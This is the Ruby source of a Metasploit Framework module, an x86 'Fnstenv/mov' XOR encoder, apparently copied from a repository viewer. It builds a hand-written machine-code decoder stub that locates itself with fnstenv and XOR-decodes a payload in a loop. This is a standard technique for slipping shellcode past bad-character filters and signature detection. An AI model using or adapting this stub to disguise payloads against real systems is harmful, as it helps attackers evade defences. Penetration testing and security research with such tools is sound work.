52 lines
1.2 KiB
Ruby
52 lines
1.2 KiB
Ruby
require 'msf/core'
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module Msf
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module Encoders
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module X86
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class FnstenvMov < Msf::Encoder::Xor
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def initialize
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super(
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'Name' => 'Variable-length Fnstenv/mov Dword XOR Encoder',
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'Version' => '$Revision$',
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'Description' => %q{
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This encoder uses a variable-length mov equivalent instruction
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with fnstenv for getip.
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},
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'Author' => 'spoonm',
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'Arch' => ARCH_X86,
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'License' => MSF_LICENSE,
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'Decoder' =>
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{
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'KeySize' => 4,
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'BlockSize' => 4,
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})
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end
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#
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# Returns the decoder stub that is adjusted for the size of the buffer
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# being encoded.
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#
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def decoder_stub(state)
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decoder =
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Rex::Arch::X86.set(
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Rex::Arch::X86::ECX,
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(((state.buf.length - 1) / 4) + 1),
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state.badchars) +
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"\xd9\xee" + # fldz
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"\xd9\x74\x24\xf4" + # fnstenv [esp - 12]
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"\x5b" + # pop ebx
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"\x81\x73\x13XORK" + # xor_xor: xor DWORD [ebx + 22], xorkey
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"\x83\xeb\xfc" + # sub ebx,-4
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"\xe2\xf4" # loop xor_xor
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state.decoder_key_offset = decoder.index('XORK')
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return decoder
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end
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end
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end end end
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